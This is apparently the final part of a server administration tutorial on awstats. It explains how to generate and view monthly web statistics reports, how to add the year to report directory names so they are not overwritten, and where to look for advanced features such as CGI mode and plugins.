When the script runs it creates (if it doesn't already exist) a directory named after last month. If the current month is September, the directory will be named "August" (or the equivalent for your machine's locale setting). The awstats icons directory will be copied there, then a report will be generated for last month and put in the month's directory.

To look at a monthly report you'll use a similar URL to viewing the current report, but you'll insert the name of the month you want to view in front of the page name. The first letter of the monthly directory names is capitalized, so it will have to be capitalized in the URL used to visit a monthly report as well.

To take our example URL from earlier and use it to look at the August statistics we would change it to:
http://www.example.com/webstats/August/awstats.www.example.com.html

Keeping more monthly reports


Note that the way the script is written the monthly reports get replaced every year (since they're only made available by month name, not by year).

If you want monthly reports to never get overwritten you can modify the script to add the year to the directory names. Change the line that defines "LASTMONTH" above to something like:
LASTMONTH=`date -d "last month" +%B-%Y`

If the month were September, the above line would cause the script to use the directory name "August-2010".

Further reading


You have a solid but basic installation of awstats now. If you want to get more out of awstats there are a few advanced features you can look into.

For starters, you can browse the awstats documentation online.

If you want to generate reports on the fly you can do so by setting up the main awstats.pl script to run as a CGI script from a web browser. It would be a good idea to still run the stats update through a schedule. You'll want to be familiar with using CGI with a web server, and be aware of the risks that can be involved (for both performance and security). Then check theawstats install docs and take a look at the script they provide for automating aspects of that configuration.

If you want to extend awstats there are plugins available on the project's web site. A couple of the more interesting ones let awstats determine the country of origin of visitor IP addresses without launching a lot of cumbersome DNS lookups.

With a little tweaking and help from the documentation, awstats can also be used to build reports for mail and FTP servers.

Digging through all the options in the config file will give you an idea of what sorts of changes you can make to reports and their formatting.